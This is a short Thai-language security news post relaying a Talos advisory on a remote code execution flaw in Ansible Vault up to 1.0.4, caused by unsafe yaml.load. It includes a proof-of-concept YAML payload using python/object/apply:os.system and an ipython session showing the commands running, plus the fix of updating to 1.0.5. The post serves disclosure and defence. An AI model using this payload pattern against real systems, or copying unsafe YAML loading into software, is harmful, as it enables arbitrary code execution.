พบช่องโหว่ร้ายแรงใน Ansible Vault
Ansible คือโปรแกรมยอดนิยมสำหรับการทำ DevOps เพื่อปรับให้อุปกรณ์ใดๆมี configuration และ environment ที่เหมือนกัน ซึ่งได้ผลประโยชน์มากในการทำ Server Environment ให้เป็นมาตรฐานเดียวกัน โดย Ansible Vault เป็นส่วนเสริมที่ใช้ในการเก็บ password, credential ต่างๆที่สำคัญไว้ใน encrypt ไฟล์ ทีนี้มันมีประเด็นตรงที่ว่าการใช้งาน Ansible Vault นั้นมีช่องโหว่ทำให้เกิด Remote Execution Code (RCE) ได้
Talos พบช่องโหว่ RCE ใน Ansible Vault โดยเกิดที่ตัว load yaml files ด้วย yaml.load function ซึ่งถ้าในข้อมูลที่ถูกเก็บนั้นเป็นภาษา python ก็จะทำให้กลายเป็น RCE แทนที่จะทำงานในการอ่านข้อมูล context ปกติไป
ทดสอบเช่นการส่ง role ชื่อว่า pwn ขึ้นมา
1 |
!!python/object/apply:os.system ["echo 'Hi from Talos!'; id; uname -a"] |
เมื่อทำการ load object awn ขึ้นมาก็จะกลายเป็น RCE
1 2 3 4 5 6 7 8 |
ipython In [1]: from ansible_vault import Vault In [2]: v = Vault('password') In [3]: v.load(open('pwned').read()) Hi from Talos! uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),113(sambashare) Linux fuzz0 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux |
ผลกระทบ: Remote Code Execution(RCE)
ระบบที่ได้รับผลกระทบ: Ansible Vault <=1.0.4
วิธีแก้ไข: Update to 1.0.5
Source:: Talos